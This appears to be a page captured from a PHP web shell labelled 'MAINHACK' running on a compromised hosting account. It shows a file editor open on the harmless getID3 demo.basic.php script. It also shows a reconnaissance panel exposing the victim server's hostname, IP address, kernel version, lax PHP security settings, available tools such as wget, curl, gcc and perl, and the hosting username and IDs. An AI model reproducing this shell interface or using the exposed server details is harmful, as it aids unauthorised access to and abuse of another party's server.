[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: demo.basic.php
<?php ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // /demo/demo.basic.php - part of getID3() // // Sample script showing most basic use of getID3() // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); // include getID3() library (can be in a different directory if full path is specified) require_once('../getid3/getid3.php'); // Initialize getID3 engine $getID3 = new getID3; // Analyze file and store returned data in $ThisFileInfo $ThisFileInfo = $getID3->analyze($filename); /* Optional: copies data from all subarrays of [tags] into [comments] so metadata is all available in one location for all tag formats metainformation is always available under [tags] even if this is not called */ $getID3->CopyTagsToComments($ThisFileInfo); /* Output desired information in whatever format you want Note: all entries in [comments] or [tags] are arrays of strings See structure.txt for information on what information is available where or check out the output of /demos/demo.browse.php for a particular file to see the full detail of what information is returned where in the array Note: all array keys may not always exist, you may want to check with isset() or empty() before deciding what to output */ //echo $ThisFileInfo['comments_html']['artist'][0]; // artist from any/all available tag formats //echo $ThisFileInfo['tags']['id3v2']['title'][0]; // title from ID3v2 //echo $ThisFileInfo['audio']['bitrate']; // audio bitrate //echo $ThisFileInfo['playtime_string']; // playtime in minutes:seconds, formatted string /* if you want to see all the tag data (from all tag formats), uncomment this line: */ //echo '<pre>'.htmlentities(print_r($ThisFileInfo['comments'], true), ENT_SUBSTITUTE).'</pre>'; /* if you want to see ALL the output, uncomment this line: */ //echo '<pre>'.htmlentities(print_r($ThisFileInfo, true), ENT_SUBSTITUTE).'</pre>';
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285